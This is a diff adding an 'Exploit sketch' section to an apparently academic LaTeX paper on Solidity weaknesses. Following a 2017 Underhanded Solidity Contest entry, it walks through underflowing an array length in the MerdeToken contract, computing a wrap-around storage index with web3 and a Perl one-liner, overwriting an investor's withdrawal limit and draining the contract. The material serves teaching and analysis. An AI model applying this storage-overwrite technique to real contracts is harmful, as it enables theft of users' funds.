Add exploit sketch

SemSEpaper/exercises.tex

@@ -159,7 +159,7 @@ In the following example (Algorithm~\ref{alg:pop-incorrect}) the $pop$ function
 \end{algorithm}
 
 Another weakness that allows arbitrary storage access is unchecked assembly code. Assembly is a powerful tool that allows the developers to get as close to the EVM as they can,
-but it may also be very dangerous when not tested correctly. As per the documentation\footnote{\url{https://docs.soliditylang.org/en/latest/assembly.html}}: \textit{"this [inline assembly]
+but it may also be very dangerous when not tested correctly. As per the documentation\footnote{\url{https://docs.soliditylang.org/en/latest/assembly.html}, accessed: Oct. 30th 2023}: \textit{"this [inline assembly]
 bypasses important safety features and checks of Solidity. You should only use it for tasks that need it, and only if you are confident with using it."}
 When given access to such lowlevel structures, a programmer can built-in not only weaknesses similar to the ones described previously, but also others, such as overwriting map locations,
 contract variables etc.
@@ -300,9 +300,116 @@ The Smartian tool~\cite{smartian} attempts to find a middle-ground between stati
 
 \section{Exploit sketch}
 
-\cite{doughoyte}
-%TODO: just explain what this guy does: https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte%
+An exploitation sketch to Algorithm~\ref{alg:pop-incorrect} and to Algorithm~\ref{alg:multilayer-example} is available from Doughoyte~\cite{doughoyte}.
 
+\textbf{Checkpoint A}
+We assume that the following events have ocurred:
+\begin{enumerate}
+  \item the contract MerdeToken\footnote{\url{https://github.com/Arachnid/uscc/blob/master/submissions-2017/doughoyte/MerdeToken.sol}, accessed: Oct. 30th 2023} has been created;
+  \item the investor has set a withdrawal limit of 1 ether, which only they can change;
+  \item an investor has invested 50 ETH;
+  \item the owner is malicious.
+\end{enumerate}
+
+At this point, an example storage layout as per Doughoyte would be:
+
+\medspace
+
+\lstset{style=mystyle}
+\begin{algorithm}[H]
+	\begin{lstlisting}[language=Octave]
+    "storage": {
+        // The address of the contract owner:
+        "0000000000000000000000000000000000000000000000000000000000000000": "94b898c1a30adcff67208fd79b9e5a4d339f3cc6d2",
+        // The address of the trusted third party:
+        "0000000000000000000000000000000000000000000000000000000000000001": "948bc7317ad44d6f34f0f0b6e3c8c7bf739ba666fa",
+        // The amount deposited (50 ETH):
+        "0000000000000000000000000000000000000000000000000000000000000003": "8902b5e3af16b1880000",
+        // The withdrawal limit (1 ETH):
+        "0000000000000000000000000000000000000000000000000000000000000004": "880de0b6b3a7640000",
+        // the legth of the array would normaly stay here, if it was not zero at init time
+        // balanceOf[investorAddress] (50 MDT):
+        "dd87d7653af8fba540ea9ebd2d914ba190d975fcfa4d8d2927126a5decdbff9e": "8902b5e3af16b1880000"
+    }
+  \end{lstlisting}
+	\caption{Exploit - Memory at Checkpoint A}
+  \label{alg:exploit-checkpoint-a}
+\end{algorithm}
+
+\textbf{Checkpoint B}
+Afterwards, the malicious owner calls the vulnerable function \texttt{popBonusCode()} and the length of the array is set to the max value. This happened, because prior to the underflow, the array length was zero and, to save space, it was omitted from the memory:
+
+\medspace
+
+\lstset{style=mystyle}
+\begin{algorithm}[H]
+	\begin{lstlisting}[language=Octave]
+    "storage": {
+        "0000000000000000000000000000000000000000000000000000000000000000": "94b898c1a30adcff67208fd79b9e5a4d339f3cc6d2",
+        "0000000000000000000000000000000000000000000000000000000000000001": "948bc7317ad44d6f34f0f0b6e3c8c7bf739ba666fa",
+        "0000000000000000000000000000000000000000000000000000000000000003": "8902b5e3af16b1880000",
+        "0000000000000000000000000000000000000000000000000000000000000004": "880de0b6b3a7640000",
+        // The array length has underflowed:
+        "0000000000000000000000000000000000000000000000000000000000000005": "a0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
+        "dd87d7653af8fba540ea9ebd2d914ba190d975fcfa4d8d2927126a5decdbff9e": "8902b5e3af16b1880000"
+    }
+  \end{lstlisting}
+	\caption{Exploit - Memory at Checkpoint B}
+  \label{alg:exploit-checkpoint-b}
+\end{algorithm}
+
+Increasing the length of the array to the maximum allowed by \texttt{uint256} was important, as this will now allow the owner to pass the requirement set in \texttt{modifyBonusCode} and still
+use the function for storage modification.
+
+\textbf{Checkpoint C} The owner is then able to use \texttt{modifyBonusCode} to increase the fixed withdraw limit to the max \texttt{uint256} value. Had the contract not have this vulnerability,
+this action should only have been possible through the \texttt{setWithdrawLimit}, which is only available to the investor.
+
+In order to overwrite the withdrawal limit, the owner must calculate the hex value to use as a first argument (index) to the function.
+Since the array \texttt{bonusCodes} underflow is defined in the sixth place in the contract storage, its length is in the fifth storage slot (counting from zero)
+The limit is defined at the fourth storage slot. Then, in order to manipulate the withdrawal limit, the owner must convert the address of the length to hexadecimal:\\
+\lstset{style=mystyle}
+\begin{algorithm}[H]
+	\begin{lstlisting}[language=Octave]
+    > web3.sha3("0x0000000000000000000000000000000000000000000000000000000000000005", { encoding: 'hex' })
+    "0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0"
+  \end{lstlisting}
+	\caption{Exploit - Convert length address to hex}
+  \label{alg:exploit-convert-address}
+\end{algorithm}
+
+and then just calculate the array index that will wrap around using the formula $2^{256} - H + 4$, where $2^{256}$ is the max \texttt{uint256} value, H is the hex obtained from the previous command and 4 is the offset of the withdrawal limit storage slot from the base of the contract. This, converted to hex, will give the owner the address to use with \texttt{modifyBonusCode}. The Perl snippet below does that:\\
+\lstset{style=mystyle}
+\begin{algorithm}[H]
+	\begin{lstlisting}[language=Octave]
+    \$ perl -Mbigint -E 'say ((2**256 - 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0 + 4)->as_hex)'
+    0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c254
+  \end{lstlisting}
+	\caption{Exploit - Convert limit offset to address}
+  \label{alg:exploit-convert-offset}
+\end{algorithm}
+
+As a result, the memory now looks like this:
+
+\medspace
+
+\lstset{style=mystyle}
+\begin{algorithm}[H]
+	\begin{lstlisting}[language=Octave]
+    "storage": {
+        "0000000000000000000000000000000000000000000000000000000000000000": "94b898c1a30adcff67208fd79b9e5a4d339f3cc6d2",
+        "0000000000000000000000000000000000000000000000000000000000000001": "948bc7317ad44d6f34f0f0b6e3c8c7bf739ba666fa",
+        "0000000000000000000000000000000000000000000000000000000000000003": "8902b5e3af16b1880000",
+        // The withdrawal limit is now really high:
+        "0000000000000000000000000000000000000000000000000000000000000004": "a0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
+        "0000000000000000000000000000000000000000000000000000000000000005": "a0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
+        "dd87d7653af8fba540ea9ebd2d914ba190d975fcfa4d8d2927126a5decdbff9e": "8902b5e3af16b1880000"
+    }
+  \end{lstlisting}
+	\caption{Exploit - Memory at Checkpoint C}
+  \label{alg:exploit-checkpoint-c}
+\end{algorithm}
+
+\textbf{Checkpoint D} The owner can now call \texttt{withdraw()} with the full amount of ether in the contract and drain it. The investor has not increased the limit at any point.
 
 \bibliography{exercise.bib}